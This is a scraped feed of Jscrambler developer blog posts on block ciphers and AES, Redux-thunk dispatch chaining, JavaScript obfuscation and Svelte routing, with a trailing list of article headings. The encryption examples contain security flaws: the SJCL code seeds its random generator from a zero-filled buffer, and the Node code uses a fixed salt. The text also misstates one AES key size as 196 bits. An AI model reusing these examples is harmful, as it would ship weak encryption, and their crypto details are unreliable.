With these results, one takeaway is to be mindful of performance when choosing to use Mongoose. There is no real reason to exclude the native driver from Mongoose because they are also useful in unison. For performance-sensitive code, it is best to use the native driver. For feature-rich endpoints that are less performant, it is okay to use Mongoose.

Originally published on the Jscrambler Blog by Camilo Reyes.

Cryptography Introduction: Block Ciphers

Jscrambler — Mon, 14 Sep 2020 11:20:27 +0000

Before we dive deep into what symmetric ciphers are and how important they are in our daily lives, there are two theoretical concepts that need to be reviewed to better understand them: (Pseudo)random Number Generators and Perfect Secrecy.

Random Numbers

Most of the cryptographic algorithms have their roots in mathematical operations performed over the data we are trying to hide from unauthorized eyes. As such, it is only logical to add random noise to help and increase the confusion created by the cryptographic algorithms.

But not any kind of noise is acceptable to be used in cryptography. It has to be secure and truly random because otherwise, it would be easy for an attacker to replicate the process and more easily decrypt your protected data. The main problem is that computers are deterministic in nature and incapable of producing truly random values on their own.

A place where the generation of random values can be observed is in a casino.

Flipping coins, rolling dice, or playing in the roulette are good examples of true randomness (if none of the items have been tampered with), as it is theoretically impossible to predict the results of those actions with 100% accuracy. However, this solution is too slow for modern cryptography, where sometimes it is necessary to generate thousands of random numbers quickly.

Another way of generating random values for physical properties is through the use of special hardware that measures thermal or electric noise. These types of hardware gather information over a small period of time and, once enough entropy has been generated, they are able to produce random values that are theoretically unpredictable by an attacker. The downside of this method is that it can also take a while to gather enough entropy and, as such, delay the cryptographic protocol from executing.

The other option to produce secure random numbers is through the use of Pseudo-Random Number Generators. These are computational and deterministic algorithms that can produce long sequences of apparently random numbers from a smaller value (often called seed or key). To be considered a pseudorandom generator, the algorithm should produce outputs indistinguishable from a uniform distribution when observed by statistical tests.

Perfect Secrecy

Claude Elwood Shannon was an American mathematician, electrical engineer, and cryptographer known as "the father of information theory". In 1945, he wrote a paper on Communication Theory of Secrecy Systems (that was only declassified in 1949), which is often used as the basis for theoretical cryptography. In this paper, he defines the concept of theoretically unbreakable ciphers as well as the concepts of confusion and diffusion.

In cryptography, confusion refers to making the relationship between ciphertext and the symmetric key as complex as possible. Diffusion is used to dissipate the statistical structure of plaintext over the bulk of ciphertext. What this means is that a single bit change on the plaintext should at least change half of the resulting ciphertext. Both these concepts are usually implemented with the use of substitutions and permutations, where substitutions increase the confusion of the cipher, deterministically changing some components, whilst permutations manipulate the order bits are represented in the final result. Both these steps are usually applied over several rounds - like it will be seen later in this post.

The term “perfect secrecy” is applied to encryption algorithms where there is no information that can correlate any particular ciphertext to the key used or the original plaintext. What this means is that the ciphertext can not be broken by any type of cryptanalysis as there is an equal probability of a given key being used to encrypt a plaintext message to a given ciphertext. However, in the literature, this is only possible in situations where the key is at least the same size as the plaintext message.

A technique that is used as a demonstration of this concept is the One-time pad. By generating a truly random key, at least as long as the message, never reusing it and always keeping it a secret between the two people communicating, it can then be used either as a modular addition or a bitwise XOR operation with the plaintext to create a perfectly secure ciphertext.

Since the early 1900s and until around the ‘80s, when computers became easier to manufacture and use, this method was often used across nations for secure communications, including the hotline between Moscow and Washington D.C. during the Cold War. These systems used two equal and long key tapes, one at each end of the communication, that were synchronized and used as messages were either sent or received.

However, this system is impractical for day-to-day usage. As such, simpler algorithms that make use of pseudorandom generators are needed - such is the case of Block Ciphers.

Block Ciphers

Unlike stream ciphers that are applied continuously bit by bit, block ciphers, like the name implies, are applied on a fixed-length bit block - which, for the example of AES, is 128 bits long.

Block ciphers are deterministic algorithms - so, for a specific key and input data block, the resulting block will always be the same. They are a secure way to protect a single block of data but, since we usually want to protect more information than just 128 bits, it is recommended to use cryptographic protocols that are built on top of this construction to increase the security of the information.

Block Cipher Modes of Operation

When discussing block ciphers, it is important to understand the different block cipher modes of operation. Block cipher modes are the overlaying algorithm that reuses the block ciphers constructions to encrypt multiple blocks of data with the same key, without compromising its security.

The first block cipher mode we are going to discuss is Electronic Codebook (ECB) mode. It is often mentioned as an example of what not to do when using block ciphers. The ECB mode applies the underlying block cipher algorithm over each block of data without any alteration to it or to the used key. As a result, if two blocks of the original data are the same, the same two blocks will be equal in terms of the encrypted version. Even if attackers can't decrypt the contents of the message, the knowledge that some blocks are equal to others might already give them insights on what the original message could be based on its context.

A better option is the Cipher Block Chaining mode (CBC) mode, which adds an extra operation before applying the block cipher algorithm. So, before applying the block cipher algorithm to a block of plaintext, a bitwise XOR operation is performed with the current block’s plaintext and last block's resulting ciphertext. In the case of the first block, a random block of data is used, which is often called an Initialization Vector (IV). There are two consequences of this extra operation - first, reusing the same key to encrypt two equal messages will produce two entirely different ciphertexts when using different IVs; second, even if two blocks on the same message are equal, their ciphered version won’t be since they will be mixed with different values before being encrypted. Also, a single bit difference on a block is propagated to all the following blocks, creating even more confusion when trying to compare two different messages. Because each block needs the result of the previous block, the encryption process is not parallelizable. However, the reverse process of decryption does not have such requirements, so multiple blocks can be decrypted at the same time. It is also possible to simply decrypt some blocks and not all of them for quick access to some information.

The CBC mode can also be reused to create a message authentication code (MAC). Instead of using a randomly generated IV, a 0 IV is used and the last block in the encryption process is used as the MAC. Any bit change on the message will result in a completely different MAC since every change is propagated until the last block. Even though it is tempting, it is not advisable to try and just execute a CBC algorithm once and keep the last block as MAC. It is always advisable to keep both operations separated and to use different cryptographic keys for each process.

A similar solution to CBC is the Cipher Feedback mode (CFB), which also uses an IV and the XOR operation over the plaintext, but this time after the block cipher algorithm. In this mode, the IV (for the first block) or the previous block (remaining blocks) is encrypted with the block cipher algorithm and its result is then mixed with the plaintext block. The restrictions and advantages over the encryption and decryption processes are the same as in CBC mode.

An alternative mode to CFB is the Output feedback mode (OFB) which, instead of using the ciphertext of the previous block in the current block’s encryption, uses the output of the block cipher applied to the IV of the previous block. The downside of this change is that the decryption process can no longer be parallelized.

The last mode we are going to discuss is the Counter mode (CTR). It is also one of the most used modes for block ciphers for both its security and performance properties. It is a mixture of ECB and OFB modes, working with the advantages of both. Like ECB, each block is independent so blocks can be encrypted, decrypted, and changed separately from each other, which facilitates its parallelizability. However, each block is not encrypted directly with the block cipher algorithm. Like in OFB, the plaintext block is XORed with the result of applying the block cipher to an IV block. The difference is that, in CTR mode, this block is not the result of the previous iteration. Instead, it is a block where the 64 first bits are a random nonce, shared across all blocks in the same message, and 64 bits of "counter". This counter portion can literally be a counter where, for each block, its value is increased by one; or it can be the result of a function that produces a sequence of results that do not repeat over a long time.

AES

Several block cipher algorithms have been created and used over the last few decades. Currently, the Advanced Encryption Standard (AES) is viewed as the standard in secure symmetric cryptography.

In the late ‘90s, the National Institute of Standards and Technology of the United States (NIST) started the process of creating a new block cipher to replace its predecessor, Data Encryption Standard (DES), since its 56-bit keysize was becoming more vulnerable to brute-force attacks as computers became faster. During this process, two Belgian cryptographers, Vincent Rijmen and Joan Daemen, came up with the Rijndael family of block ciphers with three algorithms chosen for the standard. All of them work on 128-bit blocks but have different key sizes: 128, 196, and 256 bits.

To better understand how the base algorithm works, it’s best to imagine a block of 128 bits (16 bytes) as a two dimensional array displayed as follows:


d0	d4	d8	d12
d1	d5	d9	d13
d2	d6	d10	d14
d3	d7	d11	d15

The algorithm performs operations on this matrix in 10,12 or 14 rounds, depending on the key size (128,196, and 256 - respectively). Using a specific Key expansion algorithm (which we will not approach in this post), multiple 128-bit blocks are generated from the original key, one for each round plus one to be applied at the beginning of the block transformation.

If we have the key block similarly organized as the following data block:


k0	k4	k8	k12
k1	k5	k9	k13
k2	k6	k10	k14
k3	k7	k11	k15

Then, the first operation on the data block is a simple bitwise xor operation between the data and the corresponding key, overriding the existing byte contents. This is often called the AddRoundKey step.

After this operation, we have 9, 11, or 13 rounds of applying the following operations:

1. SubBytes

For every byte on the matrix, replace it with a value on the Substitution Box, which behaves like a lookup table. This box is constructed in such a way that provides non-linearity properties to the cipher. The method to retrieve a value from this table is to split the byte we are trying to replace in half, where the first half defines the row and the second half defines the column. This step is important to increase the confusion of the encrypted text.

2. ShiftRows

This step moves bytes around by making no shifts on the first row, making a one-byte shift on the second row, two bytes on the third row, and three bytes on the fourth row. In other words, this matrix:


d0	d4	d8	d12
d1	d5	d9	d13
d2	d6	d10	d14
d3	d7	d11	d15

becomes this one:


d0	d4	d8	d12
d5	d9	d13	d1
d10	d14	d2	d6
d15	d3	d7	d11

3. MixColumns

In this step, each column is extracted from the matrix and multiplied by a static matrix with the following contents:


2	3	1	1
1	2	3	1
1	1	2	3
3	1	1	2

For those that still remember Algebra, multiplying a matrix with an array will result in an array of the same size. This array is replaced on the same place where the column was retrieved from.

4. AddRoundKey

The first and fourth steps are used to increase the confusion in the resulting cipher, whilst the second and third steps are used to increase its diffusion, propagating small bit changes to as many bytes as possible.

The final round simply executes these steps:

SubBytes
ShiftRows
AddRoundKey

There is no cryptographical necessity for the MixColumns step, as it is easily reverted on this last round.

Usage

On the browser, there are two ways of adding cryptographic functionalities to your application: external cryptographic libraries or the browser's WebCrypto API.

A simple example of encrypting a message from the user using AES-CTR mode, if using the WebCrypto API, would look similar to this:

async function encryptMessage(message, password){
    let counter = new Uint8Array(16) // the counter to be used should have the size of a block. this creates a 16 byte buffer which is 128 bits
    window.crypto.getRandomValues(counter); // generates data to be used as a nonce for this encryption;
    let encryptionParameters = {
        name:"AES-CTR",
        counter,
        length:64 // define how many bits to be used as the counter portion. the default is set at 64 bits, but the number can be increased if the message is longer than 2^64
    };
    let encodedMessage = new TextEncoder().encode(message); // Web Crypto only works with TypedArrays (Uint8Array)

    let masterKey = await window.crypto.subtle.importKey(
    "raw",
    new TextEncoder().encode(password),
    "PBKDF2",
    false,
    ["deriveBits", "deriveKey"]
  ); //getting a CryptoKey object from a string like password using the PBKDF2 algorithm
        let salt = window.crypto.getRandomValues(new Uint8Array(16));
    const encodedKey = await window.crypto.subtle.deriveKey(
    {
      "name": "PBKDF2",
      salt: salt,
      "iterations": 100000,
      "hash": "SHA-256"
    },
    masterKey,
    { "name": "AES-CTR", "length": 256},
    true,
    [ "encrypt", "decrypt" ]
  ); // Derive the encryption key from the master key to increase its entropy

    const encryptedContent = await window.crypto.subtle.encrypt(
    encryptionParameters,
    encodedKey,
    encodedMessage
  );

    return encryptedContent;
}

encryptMessage("big message contents to protect", "safest password").then(encryptedContents => console.log(encryptedContents));

While this solution can be more secure, since the cryptographic algorithms are protected and isolated in the browser's native implementation, it is an asynchronous solution. This means that you have to use Promises if you intend to use this Web API. Another requirement is that it is only supported in HTTPS connections.

If a synchronous solution is required, or if you need support for legacy browser versions, a great library to use is the Stanford JavaScript Crypto Library (SJCL). The previous example can be written similarly with the SJCL:

function encryptMessage(message,password){
    sjcl.random = new sjcl.prng(8);
    let buffer = new Uint32Array(32);
    sjcl.random.addEntropy(buffer, 1024, "crypto.getRandomValues"); //initialize random generator
    let salt = sjcl.random.randomWords(8) // a word consists of 32 bits (4 bytes) 
    let iv = sjcl.random.randomWords(8)
    let encodedKey = sjcl.misc.pbkdf2(password,salt,1000);
    let aesAlgorithm = new sjcl.cipher.aes(encodedKey);
    let encondedMessage = sjcl.codec.utf8String.toBits(message);
    let encryptedContent = sjcl.mode['gcm'].encrypt(aesAlgorithm,encondedMessage,iv);
    return sjcl.codec.base64.fromBits(encryptedContent)
}

console.log(encryptMessage("big message contents to protect", "safest password"));

In this case, we are using the Galois Counter Mode (GCM), which is an adapted version of the Counter mode for improved performance since the normal counter mode is not available in the default SJCL script.

At the server-side, the Node.js Crypto API can be used as well to take care of the encryption algorithms, or simply reuse the SJCL:

const crypto = require('crypto');

function encryptMessage(message,password){
    const algorithm = 'aes-192-ctr';
    const key = crypto.scryptSync(password, 'salt', 24); // generate a secure crypto key from a string based password
    const iv = crypto.randomBytes(16);
    const aesCipher = crypto.createCipheriv(algorithm, key, iv);
    let encryptedContent = aesCipher.update(message, 'utf8','hex');
    encryptedContent += aesCipher.final('hex');
    return encryptedContent;
}

console.log(encryptMessage("big message contents to protect", "safest password"));

Final Thoughts

Encryption is very important in order to protect both our own and our user’s data in today’s world. It is easy to assume that either the browser (or the operating system it is being executed on) could become compromised, and the assumptions given by a HTTPS connection can occur only after an attacker has gained access to information.

For scenarios where it is important to guarantee sensitive information to send to the server-side as soon as possible, a solution can be to reuse the user’s password. That can be accomplished by deriving a secret key from it to be used in a symmetric cryptographic algorithm, like the AES described in this post. Since only the user and the server know the original password, and given that the operation is deterministic, it may be a useful and safe solution to implement.

The key aspect to retain from this post is to use the correct operation mode for your use case and to never try to invent a new mode or algorithm. Misuse of cryptographic structures can introduce vulnerabilities to the system that were not there before.

Finally, in case you’re developing web or mobile applications using JavaScript, make sure you are protecting their source code from code theft, tampering, and reverse engineering. You can try this in your own code with a free Jscrambler trial.

Async Dispatch Chaining with Redux-Thunk

Jscrambler — Fri, 03 Jul 2020 11:20:57 +0000

Asynchrony in React-Redux is often done via a thunk. This thunk function is middleware that unlocks async operations by deferring execution. In this take, we’ll dive into what happens when there is more than a single async request. Async code is unpredictable because completion is not known ahead of time and multiple requests complicate things.

The use case is not unheard of - Ajax calls often fire at initial page load. The app then needs to know when all calls finish to allow user interaction. Firing multiple requests from different parts of the Redux store and knowing when it’s ready is hard.

The complete sample code is available on GitHub.

Begin with npm init and add this to the package.json file:

"scripts": {
  "start": "node index.js",
  "server": "json-server --watch db.json"
}

Then, put in place all dependencies:

npm i redux redux-thunk axios json-server --save

For the json-server create a db.json file and create these resources:

{
  "posts": [{"id": 1, "title": "dispatch chaining"}],
  "profile": {"name": "C R"}
}

This completes the back-end API. Now, imagine a React/Redux app that has profile and post info in the store. We’ll create actions to mutate data, a flag to know when it’s finished, and a reducer.

The typical code might look like:

const redux = require('redux');
const thunk = require('redux-thunk').default;

const UPDATE_POSTS = 'UPDATE_POSTS';
const UPDATE_PROFILE = 'UPDATE_PROFILE';
const UPDATE_DONE = 'UPDATE_DONE';

const updatePosts = (posts) => ({type: UPDATE_POSTS, payload: posts});
const updateProfile = (profile) => ({type: UPDATE_PROFILE, payload: profile});
const updateDone = () => ({type: UPDATE_DONE});

const reducer = (state = {}, action) => {
  switch (action.type) {
    case UPDATE_POSTS:
      return {...state, posts: action.payload};

    case UPDATE_PROFILE:
      return {...state, profile: action.payload};

    case UPDATE_DONE:
      return {...state, isDone: true};

    default:
      return state;
  }
};

const store = redux.createStore(reducer, {}, redux.applyMiddleware(thunk));
const unsubscribe = store.subscribe(async () => console.log(store.getState()));

Because this runs in node, CommonJS is useful for including modules via require. The rest of this code should not surprise anyone who has written React/Redux code before. We’ve created a store with redux.createStore and applied the thunk middleware. As mutations ripple through the store, store.subscribe spits out what’s in the store to the console output.

The problem in multiple endpoints

One question that comes to mind is, what happens when we have more than one endpoint? We need two async operations and a way to know when both are done. Redux has a way to do this that appears simple on the surface but becomes deceptive.

A naive implementation might look like this:

const axios = require('axios');

const ROOT_URL = 'http://localhost:3000';

const loadPosts = () => async (dispatch) => {
  const response = await axios.get(ROOT_URL + '/posts');

  return dispatch(updatePosts(response.data));
};

const loadProfile = () => async (dispatch) => {
  const response = await axios.get(ROOT_URL + '/profile');

  return dispatch(updateProfile(response.data));
};

// Done is always set to true BEFORE async calls complete
const actions = redux.bindActionCreators({loadPosts, loadProfile, updateDone}, store.dispatch);
actions.loadPosts();
actions.loadProfile();
actions.updateDone(); // <-- executes first

The problem at hand lies in the fact Redux has no way of knowing when both async operations finish. The dispatched action updateDone mutates state before post and profile data are in the store. This makes async/await unpredictable since we don’t know when a dispatch with response data executes. We can wait for a response via await inside the thunk itself but lose all control outside of the function.

One potential solution is to lump all async code into a single thunk:

// Illustration only, AVOID this
const combinedThunk = () => async (dispatch) => {
  const responsePosts = await axios.get(ROOT_URL + '/posts');
  dispatch(updatePosts(responsePosts.data));

  const responseProfile = await axios.get(ROOT_URL + '/profile');
  dispatch(updateProfile(response.data));

  dispatch(updateDone());
};

This is not ideal because of tight-coupling between concerns and less reusable code. Post and profile data may not live in the same place in the Redux store. In Redux, we can combine reducers and separate parts of the store into state objects. This combined thunk throws the code into chaos because we may need to duplicate code all over the store. Duplicate thunk code then becomes a high source of bugs or a maintenance nightmare for the next developer.

Async chaining

What if I told you this problem is already partially solved? The keen reader may have noticed a return statement at the end of each thunk. Go ahead, take a second look:

return dispatch(updatePosts(response.data));

return dispatch(updateProfile(response.data));

This returns an actionable promise in Redux that can be chained. The beauty here is we can chain and reuse as many thunks while keeping store state predictable. These chains can be as long as necessary if it makes sense in the code.

With this in mind, it is possible to chain dispatched thunks:

const dispatchChaining = () => async (dispatch) => {
  await Promise.all([
    dispatch(loadPosts()), // <-- async dispatch chaining in action
    dispatch(loadProfile())
  ]);

  return dispatch(updateDone());
};

const actions = redux.bindActionCreators({dispatchChaining}, store.dispatch);
actions.dispatchChaining().then(() => unsubscribe()); // <-- thenable

Note that as long as there is a return these dispatches are thenable. The bonus here is we can fire async dispatches in parallel and wait for both to finish. Then, update isDone knowing both calls are done without any unpredictable behavior. These reusable thunks can live in different parts of the store to maintain separation of concerns.

Below is the final output:

{ posts: [ { id: 1, title: 'dispatch chaining' } ] }
{
  posts: [ { id: 1, title: 'dispatch chaining' } ],
  profile: { name: 'C R' }
}
{
  posts: [ { id: 1, title: 'dispatch chaining' } ],
  profile: { name: 'C R' },
  isDone: true
}

Conclusion

Asynchrony in JavaScript is hard and unpredictable.

Redux/Thunk has a nice way to quell this complexity via dispatch chaining. If a thunk returns an actionable promise with async/await, then chaining is possible. This makes async code in different parts of the Redux store easier to work with and more reusable.

Finally, don't forget to pay special attention if you're developing commercial JavaScript apps that contain sensitive logic. You can protect them against code theft, tampering, and reverse engineering by starting your free Jscrambler trial - and don't miss our guide for protecting React apps.

Originally published on the Jscrambler Blog by Camilo Reyes.

Beyond Obfuscation: JavaScript Protection and In-Depth Security

Jscrambler — Thu, 18 Jun 2020 11:45:54 +0000

"Security through obscurity is a bad idea" — says every CISO, and with good reason.

Having a security system rely on secrecy is by no means a good practice. In the NIST Guide to General Server Security, it's clear:

"System security should not depend on the secrecy of the implementation or its components."

Today, this principle is generally accepted and adopted by security engineers. And this could be the end of our story — but it isn't.

When we throw in the concept of "JavaScript Obfuscation", many are quick to dismiss it on the basis of "obscurity isn't security".

But obfuscation is just a small piece of a much bigger picture: source code protection. Just like the ISO 27001 information security standard states:

Program source code can be vulnerable to attack if not adequately protected and can provide an attacker with a good means to compromise systems in an often covert manner. If the source code is central to the business success it’s loss can also destroy the business value quickly too.

This last sentence says it all. The more value your applications bring to your business, the more it has to lose from attacks to source code.

This is why it's crucial to understand JavaScript Obfuscation, JavaScript protection, and in-depth security.

JavaScript Obfuscation

JavaScript obfuscation is a series of code transformations that turn exposed JS code into a modified version that is extremely hard to understand and reverse-engineer.

Let's look at a sample of obfuscated JavaScript (and yes, it's valid JavaScript):

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+
[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+
!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+
[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+
[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+
[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+
[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+
!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+
[])[+!+[]]])[!+[]+!+[]+[+[]]])()

To the human eye, this seems impossible to reverse-engineer. But while this code has been obfuscated with high potency, the obfuscation is in fact very weak. Using an automated reverse-engineering tool, we would get the original code immediately. This means that this obfuscation has low resilience.

Knowing these two concepts will get you a long way towards being able to compare different obfuscation tools. As you do this analysis, you'll see how free obfuscators offer basic transformations with very little resilience, meaning that they would be easily reversed. There are also known cases of these free tools inserting malware during obfuscation.

Now that we covered obfuscation, let’s look at the remaining pieces of JavaScript protection.

JavaScript Protection

Just like you put in place strict measures for server-side and network security, specific client-side security practices are crucial to prevent serious attacks.

To understand why, let's see what OWASP says about this on their Mobile Top 10 Security Risks guide:

M8 Code Tampering	M9 Reverse Engineering
“The mobile app must be able to detect at runtime that code has been added or changed (…) The app must be able to react appropriately at runtime to a code integrity violation.”	“In order to prevent effective reverse engineering, you must use an obfuscation tool.”

So, while obfuscation should provide a good way of preventing reverse-engineering, more advanced threats like code tampering require protection at runtime.

Over the years, we have helped thousands of businesses tackle different attack scenarios with JavaScript protection. Let’s look at some of the most prevalent ones.

Automated Abuse

In the Web, abuse refers to exploiting the web application’s functionalities to gain access or privileges through the use of bots — for example, to automate new account creation in a cloud provider and get unlimited free benefits to mine cryptocurrencies.

Often, these attacks require some sort of source code manipulation, which is possible when JavaScript is unprotected.

Piracy and Cheating

Piracy is a key business threat in digital products and services, especially to the fast-growing OTT industry.

The forensic watermarking solutions that providers employ to track down the source of leaks are typically deployed with a client-side JavaScript agent. Because the source code of this agent is exposed, attackers can tamper with its logic to bypass it and make it much harder for providers to block their accounts.

Using a similar tactic, attackers can abuse games by tampering with the code to illegitimately gain advantages. This negatively affects legitimate users and hurts the business severely.

Data Exfiltration

On the Web, users commonly submit data like their email, name, address, credit card number, or even medical information on a website using a form. Because the logic behind these forms is handled by JavaScript and all this sensitive data passes through the client-side, the safety of this data could be at risk.

By leaving their JavaScript exposed, organizations make it easier for attackers to understand how their web applications work and facilitate the planning/automation of data exfiltration or scraping attacks.

On the contrary, source code protection helps frustrate attackers and raise the cost of the attack to a point where they’re likely to move to another target.

Plus, by protecting their JavaScript source code, these companies increase their compliance with standards such as ISO 27001 and data protection regulations like CCPA/GDPR.

In-Depth Security

The different attack scenarios we just covered are the reason why we emphasize that JavaScript Protection is much more than obfuscation. This protection should be seen as a valuable component of an application security strategy.

So the "security isn't obscurity" argument has naturally evolved to today's context with the new constructive argument of "what we need is in-depth security".

Feel free to try all Jscrambler features with a free trial.

Svelte Routing with Page.js

Jscrambler — Fri, 12 Jun 2020 16:41:53 +0000

In this article, we'll learn about how to implement routing in our Svelte.js apps.

In a previous tutorial, we have created a simple news app that fetches data from a remote REST API and we even compared it with React.

Let's now see how to add routing to that Svelte app.

Prerequisites

In order to follow this tutorial, you should have:

Familiarity with JavaScript alongside with HTML and CSS;
Both Node 8+ and npm installed on your machine. You can use nvm (macOS/Linux) or nvm-windows to install and switch between Node versions in your system.

Initializing our Svelte App

Head over to your terminal and run the following command:

npm install -g degit

Next, initialize a new app using the following commands:

npx degit sveltejs/template sveltenewsapp
cd sveltenewsapp 
npm install 
npm run dev

You can access the app from the http://localhost:5000/ address.

Next, let's see how to implement routing in our Svelte application.

How to Add Routing to Svelte.js

You can add routing to your Svelte app using various ways such as:

Using Sapper, a framework built on top of Svelte by the Svelte team;
Use community packages like svelte-routing or Page.js.

We'll use Page.js to implement routing in this article. This seems to be a highly popular choice among Svelte developers mainly due to its high configurability.

Installing Page.js

We will get started by installing Page.js in our project.

Head back to your terminal, make sure you are inside the folder of your Svelte app and run the following command:

npm install page

Next, open the package.json file and change:

"start": "sirv public"

To:

"start": "sirv public --single"

This will make sure we don't get any errors when navigating to routes from the browser's address bar.

Creating Components

Let's now create a few components in our application,

First, create a components/ folder in the src/ folder. Next, create two files, Home.svelte and About.svelte, inside the src/components/ folder.

Now, open the src/components/Home.svelte and update it as follows:

<script>
    import { onMount } from "svelte";

    const apiKEY = "YOUR-API-KEY";
    const dataUrl = `https://newsapi.org/v2/everything?q=javascript&sortBy=publishedAt&apiKey=${apiKEY}`;
    let items = [];
    const fetchData = async () => {


        const response = await fetch(dataUrl);
        const data = await response.json();
        console.log(data);
        items = data["articles"];
    };

    onMount(fetchData());

</script>
<div class="container">

        {#each items as item}
            <div class="card">
                <img src="{item.urlToImage}">
                <div class="card-body">
                    <h3>{item.title}</h3>
                    <p> {item.description} </p>
                    <a href="{item.url}">Read</a>
                </div>
            </div>
        {/each}

</div>

<style>
h1 {
    color: purple;
    font-family: 'kalam';
}
.container {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(305px, 1fr));
    grid-gap: 15px;
}
.container > .card img {
    max-width: 100%;
}
</style>

You can get your own API key from the News API website.

For more details about this code, refer to the previous tutorial.

Next, open the src/components/About.svelte file and update it as follows:

<script>    
</script>

<div class="container">
    This is a news app created with Svelte
</div>

<style>
</style>

Integrating Page.js with Svelte.js

Now, let's see how to use Page.js with Svelte.

Open the src/App.svelte file and import the router from the page package, and also the two Home and About components:

<script>
import router from "page"
import Home from './components/Home.svelte'
import About from './components/About.svelte'    
</script>

Next, define a page variable that will hold the matched component:

<script>
// [...]

let page

</script>

After that, define the routes of your application and call the start method of the router to start watching the changes on the URL:

<script>
// [...]

router('/', () => page = Home)
router('/about', () => page = About)

router.start()

</script>

We created two routes for the Home and About components.

We passed, to the router function, the path as the first property and an arrow function to assign the matched component to the page variable as the second property. This will simply tell Page.js to watch for the changes on the URL in the browser and set the appropriate component as we specified.

Finally, we need to tell the router where to insert the matched component using the following code:

<h1>
    Daily News
</h1>

<svelte:component this={page} />

This should be added after the closing </script> tag.

You can now visit the / and /about paths to see the corresponding pages.

You can also use parameters with routes. For example, let’s suppose we want to be able to access a single article by its ID; you can do something like the following:

let params;
router('/article/:id', (ctx, next) => {
    params = ctx.params
    next()},  () => page = Article)

Where the ID is the parameter and the Article is a component that will be rendered when users visit routes such as /article/1.

In the Article component, we can access the ID parameter using the following code:

<script>
    import { onMount } from "svelte";

    export let params;

    const getID = async () => {
        console.log(params.id);
    };
    onMount(getID());

</script>

Conclusion

In this article, we have implemented routing in our Svelte app using the Page.js library.

We have built this on top of our previous tutorial where we created a simple news application. Here, we refactored the app to have two pages routed using a client-side JavaScript router available from Page.js, which is a popular choice among the growing Svelte community.

Have you given Svelte a try yet? If not, it may be worth a go!

But regardless of the JavaScript framework you're using, you should always protect its source code to avoid reverse-engineering and code tampering. See our tutorials on protecting React, Angular, Vue, React Native, Ionic, and NativeScript.

Originally published on the Jscrambler Blog by Ahmed Bouchefra.

Forem: Jscrambler

12 Frameworks for Hybrid Mobile Apps

1. React Native

2. Ionic Framework

Side Note: Protecting Your Ionic Source Code

3. NativeScript

Side Note: Protecting Your NativeScript Source Code

4. Quasar

5. Kendo UI

6. Framework7

7. Aurelia

8. Onsen UI

9. Ext JS

10. Axway Appcelerator

11. Svelte Native

12. Xamarin

Conclusion

Cross-site Scripting (XSS)

Types Of XSS Attacks

Reflected XSS Attacks

Stored XSS Attacks

DOM-Based XSS Attacks

How Current Single Page Application (SPAs) Handle XSS Attacks

Vue

Conclusion

How To Protect Your Code While Using Gulp

Gulp Overview

Setting Up a Simple App Which Uses Gulp

How to Configure Jscrambler

Conclusion

Preventing Intellectual Property Theft with Jscrambler

What is intellectual property theft?

Consequences of intellectual property theft

How to prevent intellectual property theft with Jscrambler

Stopping copycat applications

Stopping a competitor from retrieving a proprietary algorithm

Final Thoughts

How To Protect Next.js Apps with Jscrambler

Pre-Requisites

Creating Your Next.js Application

Configuring Jscrambler

Integrating Jscrambler in the Build Process

Testing the Protected Next.js App

Conclusion

Build a Simple Game in Vanilla JS With the Drag and Drop API

What Is a Web API?

The Drag and Drop Web API

Source and Target Elements

Events in JS: A Quick Revision

Describing a Drag and Drop Operation, Step By Step

The HTML and CSS

Convert the “Plain” HTML Element Into a Drag and Drop Source Element

Capture Drag and Drop Events

Handling the Dragstart and Dragend Events

Handling the Dragover and Drop Events

Sidenote: notice how some events are emitted from the source element, and some other events are emitted from the target element. Specifically, in our example, the sourceElem element emits the dragstart and the dragend events, and the targetElem emits the dragover and drop events.

Utilize The dataTransfer Object

The setData() and getData() Methods on The dataTransfer Object

Write a Simple Game Using the Drag and Drop API

Adding The game’s HTML and CSS

Adding Our Game’s JavaScript Code

Adding CSS Code For Better UX

Preventing Errors

Final Thoughts

The Most Effective Way to Protect Client-Side JavaScript Applications

How does the browser execute JavaScript?

The Risks of JavaScript

1. Debugging and Tampering

2. Data Exfiltration and Other Client-Side Attacks

How to protect JavaScript on the client-side?

1. JavaScript Code Protection

2. Client-Side Protection

Conclusion

MongoDB Native Driver vs Mongoose: Performance Benchmarks

Set Up

Results and Conclusion

Cryptography Introduction: Block Ciphers

Random Numbers

Perfect Secrecy

Block Ciphers

Sidenote: notice how some events are emitted from the source element, and some other events are emitted from the target element. Specifically, in our example, the `sourceElem` element emits the `dragstart` and the `dragend` events, and the `targetElem` emits the `dragover` and `drop` events.

